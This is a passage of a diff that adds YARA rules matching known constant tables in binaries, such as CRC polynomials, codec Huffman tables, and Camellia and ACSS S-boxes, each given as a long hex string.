bc37ae63f4145d5af74beea3fc651b9895a9ae93f8ecbb8a98166e73f620fed6305bfea3fe94999d4d006f23fc689af7614a7f53fad86c43d96beec3f96e7c1dd59bbec3f0a664cc11ae7ed3f89f02f82c60cf03fc6a2e9ec6470ef3fc974e8f4bc1bea3f726e13ee9579ee3f2638f581e49dea3fb0743e3c4b10f53fc8b4368dedf5f03ff47002d3695de53f29594e42e90bf13f9cfa40f2ce21ed3f35289a07b008f03ffa7abe66b96cf53f6e15c440d7bee63fe44c13b69f0ce73fd9b3e7323509ea3f44a51133fb3cef3fb6a1629cbf09f63f2c29779fe323f13fd10660032244e93f94f8dc09f65ff13f0c7558e1960ff43f5d19541b9c48f03f9016670c7302e73f8baa5fe97cf8e13ff850a2258f27e63fa1f48590f33ef33fe63c635fb2f1f03fd3fa5b02f0cfee3fcec4742156ffef3fa69718cbf4cbe03f5e9cf86a4731f13f1e32e5435075f13fa8ab3b16db24ed3f44db317557b6f03f4f75c8cd7083eb3f2843554ca59ff63fc3a04ca3c9c5ea3f5b5eb9de3653e53fdf32a7cb62a2f03f793e03eacd68f13f84f1d3b8373fea3fdee34c13b61fea3f94331477bcc9f03f85ce6bec1255f13f45d4449f8f32ec3f8ae76c01a135f63f32c9c859d8d3e93fa087da368c02e93f8cbfed0912dbee3f045779026127ef3f0d350a496635f23f5f950b957f6df03f3c50a73cba11ef3f774d486b0cbaeb3fc74ca25ef0e9ea3f1e537765174cf73f6af7ab00df6def3fa2b3cc2214dbe13fb08ee3874aa3e73f2fdb4e5b2302f63fcbbf9657aeb7e83fa7255646239fe43f4a09c1aa7a79ee3fc8ed974f568cee3f66d828eb3713f03f562de92807b3f93f996725adf886f33f7ea83462669fe73fbb44f5d6c0d6e73fcf4c309c6b18e53f62d9cc21a905ea3ff357c85c19d4ed3f86ae44a0fa87ed3fb2bd16f4de98ee3f404d2d5beb8bec3faeb7cd548807f23f572426a8e19bf03fce6dc2bd32efed3f76df313cf633f03fb5fd2b2b4d4af13f838593347f4cec3f34d93f4f0306f23f747973b8563bf13fa43330f2b226ea3f6092ca147390e73f0893e2e31372f33f84d4edec2b0feb3f4a60730e9e89ea3f098849b89047f33f0f971c774a87ec3f60cb2bd7dbe6ed3fa7caf78c4468ec3f96b20c71ac0bee3f62484e266e95ee3fdd0720b589d3f13fe31c75745c4df33f87fd9e58a74aef3f0e68e90ab6d1f03fa80018cfa021eb3face463778112ee3f81e84999d410f43f1c0b0a83320def3f2f698cd651d5ec3f6d1cb1169f02eb3fbc41b456b439ea3fda5889795652f33fbaa46abb093eef3ffcaa5ca8fcebea3f7daeb6627fd9eb3f274f594dd713ec3f7fc00303089fef3f0536e7e099d0ed3ff790f0bdbf81f03f72dd94f25a49f33f6c3f19e3c3ecec3f4be5ed08a785f13f69c70dbf9baef13f978fa4a48721e73f91b8c7d2872eee3f747d1f0e1262f33f4a7a185a9ddcf23fe085add9ca4be43fb83a00e2aedeeb3fdeae97a60830f03f1b2e724f57f7ed3fef39b01c2183f03fa1db4b1aa3f5ef3f079acfb9dbf5e53f8b338639419bf13fc90050c58d5bf03f2a90d959f48ef33f57ed9a90d658f23fef39b01c2103ea3fb98ac56f0aabed3f52465c001aa5e93fd94125ae631cf23f3f36c98ff8d5f73fa41ccc26c0b0e53fa2d0b2ee1f8be33ff10ef0a4854be83f18b325ab22dce93fae47e17a14aef03fe59997c3ee3bf13f68942efd4b92f03f2c634337fb03ed3fa8fc6b79e57af53f36751e15ff37f13f97900f7a36abe23fb532e197fa79e83f31957ec2d92dea3fe0b9f770c9b1f43f03098a1f63eef03fdf1797aab445eb3f711e4e603aadee3f6344a2d0b2eeeb3f3997e2aab2eff43fb5a7e49cd883f33fbbb4e1b034f0ed3f88f2052d24e0e63fd09a1f7f6911f23f0d1cd0d2156ceb3f9d4b7155d977ed3f74eca012d731ef3f6de690d44249ea3f518369183e22eb3f0c056c0723f6f53fc173efe19263ec3fbf0f070951bee63f32e54350357af03f7d3d5fb35c76f43f5f43705cc6cde43f18416326512ff23f36e9b6442e38ec3f600322c49533eb3f45bde0d39c3cea3f5ebef561bd51f03f6d74ce4f711cf63fde03745fce6cf13f857cd0b35975e23f17f549eeb009e33f1633c2db8310e83fbc2363b5f93ff43f349d9d0c8e12f23f18062cb98ac5eb3fd0d1aa967494e83f703e75ac527af23ff488d1730b1df13f84f1d3b8373fed3f99d36531b179e93fef0390dac449e93fd48041d2a755eb3fc45f9335ea61f83f45f295404a6ceb3f05a6d3ba0d6aec3f11e4a0849936e83fc4060b2769feeb3f483140a20954fa3f51da1b7c61b2ea3f27d9ea724a40f93fc6dff60489edec3f7b6af5d55581e13f467c2766bd18e23fdbfb54151a88e63faa7d3a1e3350e63f0af7cabc55d7e63f37e2c96e6674f23fa032fe7dc685f13ff165a208a9dbeb3f207bbdfbe37dfa3fc2c2499a3f26f13f3fa9f6e978cce93fe86c01a1f570e33f382f4e7cb523e23f2594be1072dee53feba7ffacf971ea3f508f6d197096ea3f0ef7915b932ef73f637c98bd6c3bf03f45a0fa07910cee3f1ec4ce143a2ff93fcde9b298d87ce93fd00b772e8cf4e43f1b81785dbfe0e13f42d2a755f487e43fd40ad3f71a82e93f6072a3c85a03f23fa208a9dbd957f63f740987dee2e1e73fae6708c72cbbf43fd9ee1ea0fb32f23f49490f43abd3f43f8655bc917964e23f0ebf9b6ed921df3ff1a1444b1e4fdf3f1d8eaed2dd75e33fc422861dc6a4ea3fe92807b309b0e93fa699ee75525ff23f0ab952cf8210f53fe2b19fc552e4f43f537aa697184be63fb075a911fa19ee3f200bd1217024eb3f55336b2920edeb3fa933f790f03deb3f82e49d43192af43f8a7269fcc2abee3fcc608c48145ae53f38328ffcc180f63fdc2a8881ae7deb3f8ee89e758d16e13f8c4aea043411df3fd8614cfa7b29e73f1a34f44f70b1f63ffca5457d923bee3fcc24ea059f66ec3f651bb803754af53f1041d5e8d500f13f787c7bd7a0afe13f3be3fbe25295f13f50711c78b55ced3f317898f6cdfdeb3fd732198ee733f13f1ccefc6a0e10eb3f5bb39597fc4ff03f9f94490d6d00ed3f9d82fc6ce43af53f1b65fd66623ae43f5e9ece15a504e93f677bf486fbc8f13f543882548a1de83fae47e17a14aeec3f6825adf88642ee3fce6f98689002ef3fa016838769dff43f043a933655f7c43fce531d7233dcf93f8a7269fcc2abe03f71e7c2482feaf33f4be82e89b322e33f83c2a04ca3c9f23f8e588b4f01b0e93ff9f719170e44f13f36cd3b4ed191ec3f52d7dafb5415ec3fc4edd0b018f5e63ff758fad00535f13fa017ee5c18e9ef3f8ae3c0abe54ef33f8ba4dde863fef43fad69de718a0ef53f3733fad1704ae63f876c205d6cdae73f95607138f3abe73fe63bf8890368e73f836beee87fb9d53f20ef552b133efd3ffab7cb7edde9e53f5ef1d4230deee63fe529abe97aa2e53fdfe17668584cf13fa80018cfa0a1ec3f0f2a711de38aee3f65c746205e57ee3f7e5358a9a022ed3f19c6dd205aabeb3f51a4fb390539f73f70ef1af4a537e73fc5ac174339d1f23f3d81b053ac5af33f8ee89e758d56f13f410b09185d9ef23f1381ea1f4432e53f685da3e5400fe03f6b8313d1afaddd3f4b3b35971b0ce23f145b41d3122bf23f08e9297288b8ea3f583a1f9e25c8fb3f1650a8a78f00f03fbd35b05582c5e93ff5bc1b0b0a83ea3f12fb04508cacea3f3d62f4dc42d7e83f484e266e15c4e93f02f04fa91225f03fd71533c2dbc3f53fc93ec8b26062e53f51bb5f05f8aef63f29417fa1474cf83f0f7c0c569c6ae43ff33977bb5e9adc3f7ac7293a92cbdf3fcfa44dd53d32e63fc2dd59bbed42e73f5a47551344ddc73ff4e159828c00fa3f3259dc7f64baea3f5bb39597fccff23f4eb340bb438aeb3ff6b704e09f52ec3f0af31e679a30f03f5d4f745df841e93f77f69507e929f03f3d9b559fabade93f17467a51bbdfe43fd36872310696f93f35b8ad2d3c2fe33fad2f12da72eef03f53094fe8f5a7e93fbe4d7ff623c5ef3fd350a3906456f23f5caca8c1348cea3f8099efe0270eee3f64ae0caa0dceea3fc7f484251e50e83f4e7ff6234564f63f698eacfc3298ef3f957ec2d9ad65f03f0e6b2a8bc22eef3f49a0c1a6cea3e13f3e9468c9e369f23f22e3512ae109eb3fe75608abb144f03f0e2c47c8409eed3fdcd8ec48f51df13fadfc32182392f23f4e62105839b4e93f82caf8f71917f33f2829b000a6ccf13f745df8c1f9d4e73f47ad307daf21f13f537765170caee73fbbb88d06f096ed3fb3075a81212bee3fda1ebde13eb2f23fea20af079322fa3f1421753bfbcae83f8d0dddec0f94e73f7c80eecb996df13f94f947dfa4e9f03f450e1137a712e93fb6662b2ff91fe63f9642209738f2e83ff5f411f8c34fe73f810706103ed4f43f5358a9a0a22af93f015130630ad6e03fa81e69705bdbe13f8b71fe261422e53f1650a8a78f40f13f677fa0dcb66ff13f9da1b8e34dfee63ff644d7851f1ce83fd1cc936b0ae4ee3fef8ff7aa9589ec3f2f6ccd565e32f43f5ea27a6b602bed3f999b6f44f76cf33f85ce6bec12d5e83fffb0a547533dee3fbe1589096a38f23f31410ddfc2bae83f711de38a8ba3ee3ffd2d01f8a754ec3fc55565df1581f33f4ef04dd367c7f03f63d009a1832eee3f95b54df1b868f23f95b9f94674cfea3fe6ae25e4831ee23ffdf84b8bfa24e53f2026e1421e81f33ffed7b969334ef03f3eb2b96a9ea3ef3ff3cccb61f79ded3fccd42478439af53fc58f31772da1f23faf7c96e7c15de13fdc2e34d769a4f33f3cc1feebdc34e33fe141b3ebde4af33fd32ea699ee75e63f596c938ac6daed3f7aff1f274c18ea3faef545425b4ef03f7b681f2bf8adf43f834d9d47c57fe93fd658c2da183bea3fe71a66683c11f43fd07f0f5ebbb4e03f640795b88eb1f43f75cb0ef10f5bea3fcc988235cea6ea3fd061bebc007bec3f38bd8bf7e3f6e53fee96e4805d8df83fb2135e82535ff03f9c4d4700370bf13f60ac6f6072a3e83f21acc612d646ed3f22a98592c9a9ee3f34be2f2e55e9ee3f448a01124d20eb3f7978cf81e508ec3fac8bdb6800efe13fbdfbe3bd6a25f53f65deaaeb50cdea3fed6305bf0db1f13f99d711876ca0e93f703e75ac527aee3f37fdd98f1491e53f54feb5bc723df53f3541d47d00d2e93f529ca38e8e2bf23f22fdf675e01ce73f3831242713b7f73fdbdd03745f4ef43fe84f1bd5e940e63f1c5f7b664980e73fd61ef64201dbf33ff6285c8fc2f5eb3ff7ac6bb41c68ea3f5f46b1dcd26ae93fc4ebfa05bbe1ea3fd15790662c5af03f412e71e48188f63f043a93365577e63f2cb6494563edee3fccf09f6ea0c0e73f22c495b37746f33f46990d32c948e43f0ef7915b936eec3ff6cfd38041d2e63fe4f4f57ccdb2f33f8fa67a32ff68e03f6cb587bd5000f33fa3e9ec647014ee3f300e2e1d735ef43f76c075c58c30f43f2d93e1783e03ec3fdaad65321c4fec3f99840b7904b7ed3fd940bad8b4d2ec3f1c261aa4e029ec3f7fa5f3e15902e93fbaf59a1e1494f33fbabf7adcb75aeb3feae923f0871fef3fbf0af0dde68df53f9757aeb7cdd4e93f9ab33ee5982ced3f07793d98149fee3ff4160fef39b0ef3f9f71e1404896ec3f8787307e1af7d63f17ba1281ea9ff93fb05417f03203f23f116e32aa0c63e73fa323b9fc8774e93f89601c5c3a66eb3f6803b0011122f13f6534f279c5d3eb3f73bc02d193b2f03fd787f546adb0ec3f944be3175e49ea3f024a438d42d2fa3f48e2e5e95cd1ed3f5682c5e1ccafe73fc30e63d2df4bee3fb30c71ac8b5bed3fa2b60da320f8ed3ff60ce198654fec3f8a3bdee4b7e8eb3f0d8b51d7da7bea3f9bcaa2b08b22f23f3cf54883db1af13f6479573d601ee43fbe8575e3dd91f53fbc0853944b63f03f9d2d20b41e3ee73f5aa148f7730adf3f4ef1b8a81691e03f946934b91803ea3f187959130bbcf73f9c16bce82b08f73f5beecc04c3b9d93fffe89b340d8ae63fcf9ecbd424f8f23f06137f147526f33f575bb1bfec9eec3f58552fbfd364e83f8d9b1a683ee7eb3f0729780ab912f03f740987dee2e1ee3fbfd7101c97b1f53f95b7239c167cf33f094fe8f527f1e33fd578e9263108e43fa8531edd084bf13f05a4fd0fb016f73f5b9544f64116e63f2f34d769a4a5e53f802c4487c011e83fadbd4f55a181ec3fc366800bb225f63f642310afeb97ec3fea5be674594ce23f8d0b0742b2c0f63fc39ca04d0edff03f8750a5660fb4ec3f30bc92e4b9beed3f64ca87a06af4e83fcae2fe23d321ea3fdb32e02c25cbe83f758e01d9eb5df43f0af7cabc55d7e93f6ad95a5f2434ee3f7c5f5caad296f23fc5c9fd0e45c1f13f045aba826d44ec3fabe80fcd3c39e83f414aecdadeeef23f459be3dc265ce93fcd5ce0f25833ea3f02f04fa912e5f53f6a1327f73b14ee3f28efe3688eaced3f01a3cb9bc3f5f53fc6a2e9ec64f0ee3fcbd6fa22a12de53f611a868f8829ea3fc45c52b5dd04ea3fd8d7bad408fdeb3fac376a85e9fbec3f1650a8a78fc0f33f95eeaeb321ffe93f82c7b7770d7af13f23c0e95dbc9fee3f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_CCITT_poly_0x0811__16_big_refl_True_
+{
+strings:
+	$a0 = { 000023144628653c8c50af44ca78e96c08812b954ea96dbd84d1a7c5c2f9e1ed11023216572a743e9d52be46db7af86e19833a975fab7cbf95d3b6c7d3fbf0ef22040110642c4738ae548d40e87ccb682a8509916cad4fb9a6d585c1e0fdc3e933061012752e563abf569c42f97eda6a3b8718937daf5ebbb7d794c3f1ffd2eb4408671c02202134c858eb4c8e70ad644c896f9d0aa129b5c0d9e3cd86f1a5e5550a761e13223036d95afa4e9f72bc665d8b7e9f1ba338b7d1dbf2cf97f3b4e7660c451820240330ea5cc948ac748f606e8d4d9928a50bb1e2ddc1c9a4f587e1770e541a31261232fb5ed84abd769e627f8f5c9b39a71ab3f3dfd0cbb5f796e38810ab04ce38ed2c044027544268617c8091a385c6b9e5ad0cc12fd54ae969fd9912ba06df3afc2e15423656536a707e9193b287d7bbf4af1dc33ed75beb78ffaa148900ec3ccf2826440550606c4378a2958181e4bdc7a92ec50dd168ed4bf9bb169802fd3ede2a37461452716e527ab3979083f5bfd6ab3fc71cd379ef5afbcc18ef0c8a30a9244048635c06602574c499e78d82b1a1a548c96bdd0ee12df5dd1afe0e9b32b826514a725e17623476d59bf68f93b3b0a759cb7adf1fe33cf7ee1ccd08a8348b20624c415824640770e69dc589a0b583a16acd49d92ce50ff1ff1edc0ab9369a22734e505a35661672f79fd48bb1b792a37bcf58db3de71ef3 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_libmp3lame_sBitRates__32_big_360_
+{
+strings:
+	$a0 = { 0000000000000020000000400000006000000080000000a0000000c0000000e00000010000000120000001400000016000000180000001a0000001c0000000000000002000000030000000380000004000000050000000600000007000000080000000a0000000c0000000e000000100000001400000018000000000000000200000002800000030000000380000004000000050000000600000007000000080000000a0000000c0000000e0000001000000014000000000000000200000003000000038000000400000005000000060000000700000008000000090000000a0000000b0000000c0000000e0000001000000000000000008000000100000001800000020000000280000003000000038000000400000005000000060000000700000008000000090000000a00000000000000008000000100000001800000020000000280000003000000038000000400000005000000060000000700000008000000090000000a0 }
+
+condition:
+	$a0
+}
+
+	
+rule RealAudio_ATRC_huffcode7__8_byt_63_
+{
+strings:
+	$a0 = { 00020308090a0b0c0d0e0f10112425262728292a2b2c2d2e2f3031323368696a6b6c6d6e6f707172737475ecedeeeff0f1f2f3f4f5f6f7f8f9fafbfcfdfeff }
+
+condition:
+	$a0
+}
+
+	
+rule camellia_sp1110__32_lil_1024_
+{
+strings:
+	$a0 = { 0070707000828282002c2c2c00ececec00b3b3b30027272700c0c0c000e5e5e500e4e4e400858585005757570035353500eaeaea000c0c0c00aeaeae004141410023232300efefef006b6b6b00939393004545450019191900a5a5a50021212100ededed000e0e0e004f4f4f004e4e4e001d1d1d006565650092929200bdbdbd0086868600b8b8b800afafaf008f8f8f007c7c7c00ebebeb001f1f1f00cecece003e3e3e0030303000dcdcdc005f5f5f005e5e5e00c5c5c5000b0b0b001a1a1a00a6a6a600e1e1e10039393900cacaca00d5d5d500474747005d5d5d003d3d3d00d9d9d900010101005a5a5a00d6d6d60051515100565656006c6c6c004d4d4d008b8b8b000d0d0d009a9a9a0066666600fbfbfb00cccccc00b0b0b0002d2d2d0074747400121212002b2b2b0020202000f0f0f000b1b1b1008484840099999900dfdfdf004c4c4c00cbcbcb00c2c2c200343434007e7e7e0076767600050505006d6d6d00b7b7b700a9a9a90031313100d1d1d1001717170004040400d7d7d70014141400585858003a3a3a0061616100dedede001b1b1b00111111001c1c1c00323232000f0f0f009c9c9c00161616005353530018181800f2f2f20022222200fefefe0044444400cfcfcf00b2b2b200c3c3c300b5b5b5007a7a7a00919191002424240008080800e8e8e800a8a8a80060606000fcfcfc006969690050505000aaaaaa00d0d0d000a0a0a0007d7d7d00a1a1a100898989006262620097979700545454005b5b5b001e1e1e0095959500e0e0e000ffffff0064646400d2d2d20010101000c4c4c4000000000048484800a3a3a300f7f7f70075757500dbdbdb008a8a8a0003030300e6e6e600dadada00090909003f3f3f00dddddd0094949400878787005c5c5c008383830002020200cdcdcd004a4a4a0090909000333333007373730067676700f6f6f600f3f3f3009d9d9d007f7f7f00bfbfbf00e2e2e200525252009b9b9b00d8d8d80026262600c8c8c80037373700c6c6c6003b3b3b0081818100969696006f6f6f004b4b4b0013131300bebebe00636363002e2e2e00e9e9e90079797900a7a7a7008c8c8c009f9f9f006e6e6e00bcbcbc008e8e8e0029292900f5f5f500f9f9f900b6b6b6002f2f2f00fdfdfd00b4b4b400595959007878780098989800060606006a6a6a00e7e7e7004646460071717100bababa00d4d4d40025252500ababab004242420088888800a2a2a2008d8d8d00fafafa007272720007070700b9b9b90055555500f8f8f800eeeeee00acacac000a0a0a0036363600494949002a2a2a00686868003c3c3c0038383800f1f1f100a4a4a4004040400028282800d3d3d3007b7b7b00bbbbbb00c9c9c90043434300c1c1c10015151500e3e3e300adadad00f4f4f40077777700c7c7c700808080009e9e9e }
+
+condition:
+	$a0
+}
+
+	
+rule ACSS_encryption_sbox__32_big_1024_
+{
+strings:
+	$a0 = { 000000330000003b0000007300000015000000530000005b00000013000000750000003d000000350000007d0000001b0000005d000000550000001d0000007b000000670000006f0000002700000081000000c7000000cf00000087000000210000006900000061000000290000008f000000c9000000c1000000890000002f000000e3000000eb000000a300000005000000430000004b00000003000000a5000000ed000000e5000000ad0000000b0000004d000000450000000d000000ab000000ea000000e2000000aa000000000000004a000000420000000a000000a0000000e8000000e0000000a800000002000000480000004000000008000000a20000003e000000360000007e000000140000005e000000560000001e000000740000003c000000340000007c000000160000005c000000540000001c000000760000006a000000620000002a00000080000000ca000000c20000008a0000002000000068000000600000002800000082000000c8000000c00000008800000022000000ee000000e6000000ae000000040000004e000000460000000e000000a4000000ec000000e4000000ac000000060000004c000000440000000c000000a6000000e7000000ef000000a700000001000000470000004f00000007000000a1000000e9000000e1000000a90000000f000000490000004100000009000000af000000630000006b0000002300000085000000c3000000cb00000083000000250000006d000000650000002d0000008b000000cd000000c50000008d0000002b000000370000003f0000007700000011000000570000005f00000017000000710000003900000031000000790000001f0000005900000051000000190000007f000000b3000000bb000000f300000095000000d3000000db00000093000000f5000000bd000000b5000000fd0000009b000000dd000000d50000009d000000fb000000ba000000b2000000fa00000090000000da000000d20000009a000000f0000000b8000000b0000000f800000092000000d8000000d000000098000000f20000006e000000660000002e00000084000000ce000000c60000008e000000240000006c000000640000002c00000086000000cc000000c40000008c000000260000003a000000320000007a000000100000005a000000520000001a000000700000003800000030000000780000001200000058000000500000001800000072000000be000000b6000000fe00000094000000de000000d60000009e000000f4000000bc000000b4000000fc00000096000000dc000000d40000009c000000f6000000b7000000bf000000f700000091000000d7000000df00000097000000f1000000b9000000b1000000f90000009f000000d9000000d100000099000000ff }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32C__Castagnoli__poly_0x05EC76F1__32_big_refl_True_
+{
+strings:
+	$a0 = { 0000000046a9c7bf8d538f7ecbfa48c1047b71bd42d2b6028928fec3cf81397c08f6e37a4e5f24c585a56c04c30cabbb0c8d92c74a24557881de1db9c777da0611edc6f45744014b9cbe498ada178e351596b749533f70f698c53837de6cff88191b258e5fb2e2319448aaf0d2e16d4f1d6054335bc9938c9033db4dd69a1cf223db8de865724a57ae880296e821c52927a0fc5561093beaaaf3732bec5ab4942b2d6e926d84a92da67ee1ece0d726532f561f2f69ffd890a2059051e4ac57ee32364b1c749f8ca3bf65c462f9cc03dd364d3aa170e4fd1ebb1eb5dffdb772603ac0a8667c696fd9b7932718f13ae0a73ebbd9db78121e64b3e856a5f541911a47b71bd0011edc6fcae494ae8c4d531143cc6a6d0565add2ce9fe513883622ac4f41f8aa09e83f15c21277d484bbb06b4b3a89170d934ea8c669066980c0c1d6565add2410f31a9bdb09525a9da095e55221ac9914886b26df7223e799dbe4585eac3e5e1805f9e1d3ffb1209556769f5ad74fe31c7e885cd784c09d912d0722646c963822c55187e93f1946af96def96017e78526be203aed4468fbabedaf446c9a75422a33b2fde1c9fa3ca7603d8368e104ff2e48c340e5b28b81a31b4c3e758150cc33289773f8d2dfb2be7b180d71fa21713753e6cefca9ae0fba0069b07d77b3b63bde7409f0243cc8b68dfb77790cc20b3fa505b4f45f4d75b2f68aca8f6e37a0c9c7f01f023db8de44947f618b15461dcdbc81a20646c96340ef0edc8798d4dac13113650acb5ba44c629c1b83e3a567c54a62d80eb02a194819eda69e83f154d82a36eb13d07e2a5579b9959af880e9dc51475617ab0f975102c8289675122ed0dcd5911b269d505d8f5aef920e6393d4a7a42c1f5deced59f42b52acb5ba48ea1c7df721e63536674ff289a8cecbf5ee670c4a259d448b63348334a4435932e2ea9e8d2910d64c6fb911f3a038288fe691ef302d6ba7f16bc2604ebd587cbcfbf1bb03300bf3c276a2347db9230d01ff8acabe3470827f72d945c0b5ae9fc6f307587938fd10b87e54d707b1d5ee7bf77c29c43c8661057a2fa6bac8d92c708e70ebcf458aa30e032364b1cca25dcd8a0b9a7241f1d2b30758150cc02fcf0a868608b54d7c40740bd587cbc454beb782fd7908490731c90faef676d934ea849f9d2d3b546765fa12cea245dd4f9b399be65c86501c144716b5d3f8d1c209fe976bce415c9186801a38413fd5b978439310bffc58eaf73d1e433082eb02a198adab662766512ee620f8e959ef79d025a9d0179a622a5f5b248398e4e3f442e2a55d855d6ea7cd9c280e0a23e78f335fa126f4e06adcbc212c757b9efaef676cbc46a0d377bce81231152fadfe9416d1b83dd16e73c799af356e5e10f2198416b4b043a97f4a0b6839e3ccd7f662f5abb0cb32147b317ad53d98bd6a }
+
+condition:
+	$a0
+}
+
+	
+rule asf_content_desc_guid__8_byt_16_
+{
+strings:
+	$a0 = { 3326b2758e66cf11a6d900aa0062ce6c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_weight_88__32_lil_256_
+{
+strings:
+	$a0 = { 0000020053ec030053ec03000db2030007d903000db2030093990300e09f0300e09f03009399030000800300de8703000a6a0300de87030000800300d7660300c96e03006d5303006d530300c96e0300d7660300bc0f03001c560300cc3b0300653d0300cc3b03001c560300bc0f030043e20200ad0003008d24030061260300612603008d240300ad00030043e2020014d4020014d40200bc0f030000100300bc0f030014d4020014d4020011aa020058c10200fcf90200fcf9020058c1020011aa02006b980200c5ad020097e40200c5ad02006b980200fb850200839a0200839a0200fb850200d7730200d8570200d77302000b3502000b35020042140200 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cvh_huffcodes4__16_lil_492_
+{
+strings:
+	$a0 = { 000004006c00e603050012006d00e7036e00e800e803c43fe007e107a47fa57f06001300e201da0f14001500e900db0fea006f00e903a67fe207e307a77fa87f7000e301dc0fa97feb00ec00dd0faa7fea03eb03d61fab7fc53fc63fac7fd61fe407d71fad7fae7fe507d81faf7fb07fc73fb17fb27fd61fb37fb47fd61fd61f07001600e401d91f17003200e501da1fe601e701e607b57fc83fdb1fb67fb77f08003300e801de0f18003400e901dc1fea01ed00e707b87fdd1fdf0fb97fba7f7100eb01e00fbb7f7200ee00e807bc7fec03ed03c93fbd7fca3fbe7fbf7fc93fee03e10fc07fc17fe907de1fc27fc37fc47fc57fc67fc93fc77fc87fc93fc93f3500ec01df1fcb3fef00ed01e20fc97fe30fe40fca7fcb7fcc7fcd7fce7fca7f7300ee01e01fcf7ff000ef01e50fd07fea07e60fd17fd27fd37fd47fd57fd17ff001eb07d67fd77ff101ec07d87fd97fcc3fcd3fda7fda7fdb7fdc7fda7fda7fce3fdd7fde7fd67fcf3fdf7fe07fd87fe17fe27fda7fda7fcc3fcd3fda7fda7ff201e70fe37fe47fe80fe11fe57fe67fe77fe87fe97fca7fea7feb7fca7fca7fef03e90fec7fed7fea0fd03fee7fef7ff07ff17ff27fd17ff37ff47fd17fd17fd13ff57ff67fd67ff77ff87ff97fd87ffa7ffb7fda7fda7fcc3fcd3fda7fda7ffc7ffd7fd67fd67ffe7fff7f }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_12_poly_0xe03__16_lil_refl_False_
+{
+strings:
+	$a0 = { 0000030e061c05120c380f360a24092a18701b7e1e6c1d62144817461254115a30e033ee36fc35f23cd83fd63ac439ca28902b9e2e8c2d8224a827a622b421ba63ce60c065d266dc6ff66cf869ea6ae47bbe78b07da27eac77867488719a7294532e50205532563c5f165c18590a5a044b5e48504d424e4c47664468417a4274c592c69cc38ec080c9aacaa4cfb6ccb8dde2deecdbfed8f0d1dad2d4d7c6d4c8f572f67cf36ef060f94afa44ff56fc58ed02ee0ceb1ee810e13ae234e726e428a65ca552a040a34eaa64a96aac78af76be2cbd22b830bb3eb214b11ab408b70696bc95b290a093ae9a84998a9c989f968ecc8dc288d08bde82f481fa84e887e6892b8a258f378c398513861d830f8001915b9255974794499d639e6d9b7f9871b9cbbac5bfd7bcd9b5f3b6fdb3efb0e1a1bba2b5a7a7a4a9ad83ae8dab9fa891eae5e9ebecf9eff7e6dde5d3e0c1e3cff295f19bf489f787feadfda3f8b1fbbfda05d90bdc19df17d63dd533d021d32fc275c17bc469c767ce4dcd43c851cb5f4cb94fb74aa549ab4081438f469d459354c957c752d551db58f15bff5eed5de37c597f577a45794b7061736f767d7573642967276235613b68116b1f6e0d6d032f772c79296b2a65234f20412553265d37073409311b32153b3f38313d233e2d1f971c99198b1a8513af10a115b316bd07e704e901fb02f50bdf08d10dc30ecd }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab15__16_lil_1022_
+{
+strings:
+	$a0 = { 11FE43FE9DFEF9FE49FF8DFFB3FFD5FFE5FFF3FFF9FFFDFFFFFFFF00EF00FFFFFE00DF00FFFFEE00FFFFFD00CF00F9FFFDFFFFFFFC00DE00FFFFED00BF00FFFFFB00FFFFCE00EC00F9FFFDFFFFFFDD00AF00FFFFFA00BE00FDFFFFFFEB00CD00FFFFDC009F00F1FFF9FFFDFFFFFFF900EA00FFFFBD00DB00FDFFFFFF8F00F800FFFFCC009E00F9FFFDFFFFFFE9007F00FFFFF700AD00FDFFFFFFDA00BC00FFFF6F00FFFFAE000F00EDFFF5FFFDFFFFFFCB00F600FDFFFFFF8E00E800FFFF5F009D00FDFFFFFFF5007E00FFFFE700AC00F7FFFDFFFFFFCA00BB00FDFFFFFFD9008D004F00FDFFFFFFF4003F00FFFFF300D800DFFFEFFFF7FFFDFFFFFFE6002F00FFFFF200FFFF6E00F000FDFFFFFF1F00F100FFFF9C00C900F9FFFDFFFFFF5E00AB00FFFFBA00E500FDFFFFFF7D00D700FFFF4E00E400F1FFF9FFFDFFFFFF8C00C800FFFF3E006D00FDFFFFFFD600E300FFFF9B00B900F9FFFDFFFFFF2E00AA00FFFFE2001E00FBFFFFFFE100FFFF0E00E000FFFF5D00D500D3FFE7FFF3FFF9FFFDFFFFFF7C00C700FFFF4D008B00FFFFD400FFFFB8009A00F9FFFDFFFFFFA9006C00FFFFC6003D00FFFFD300D200F7FFFBFFFDFFFFFF2D000D001D00FFFF7B00B700FBFFFFFFD100FFFF5C00D000FFFFC5008A00EFFFF9FFFDFFFFFFA8004C00FFFFC4006B00FBFFFFFFB600FFFF99000C00FFFF3C00C300F7FFFDFFFFFF7A00A700FFFFA600FFFFC0000B00FFFFC200FFFF2C005B00C9FFE3FFF1FFF9FFFDFFFFFFB5001C00FFFF89009800FDFFFFFFC1004B00FFFFB4006A00FBFFFDFFFFFF3B007900B300FDFFFFFF97008800FFFF2B005A00F5FFFBFFFFFFB200FFFFA5001B00FFFFB100FFFFB0006900F9FFFDFFFFFF96004A00FFFFA4007800FDFFFFFF87003A00A300EFFFF9FFFDFFFFFF59009500FFFF2A00A200FDFFFFFF1A00A100FDFFFFFF0A00A0006800F9FFFDFFFFFF86004900FFFF94003900FBFFFFFF9300FFFF77000900FFFF58008500CBFFE3FFF3FFF9FFFDFFFFFF29006700FFFF76009200FFFF9100FFFF19009000F9FFFDFFFFFF48008400FFFF57007500FDFFFFFF38008300FFFF66004700F9FFFDFFFFFF28008200FFFF18008100F9FFFDFFFFFF74000800FFFF80005600FDFFFFFF65003700FFFF73004600EFFFF9FFFDFFFFFF27007200FFFF64001700FDFFFFFF55007100FDFFFFFF070070003600F9FFFDFFFFFF63004500FFFF54002600FDFFFFFF62001600FDFFFFFF060060003500DFFFEDFFF7FFFBFFFFFF6100FFFF53004400FFFF25005200FDFFFFFF15005100FDFFFFFF050050003400F9FFFDFFFFFF43002400FFFF42003300FFFF4100FFFF14000400F7FFFDFFFFFF23003200FDFFFFFF400003001300FDFFFFFF310030002200F7FFF9FFFDFFFFFF12002100FFFF020020001100FDFFFFFF010010000000 }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_sbits__8_byt_48_
+{
+strings:
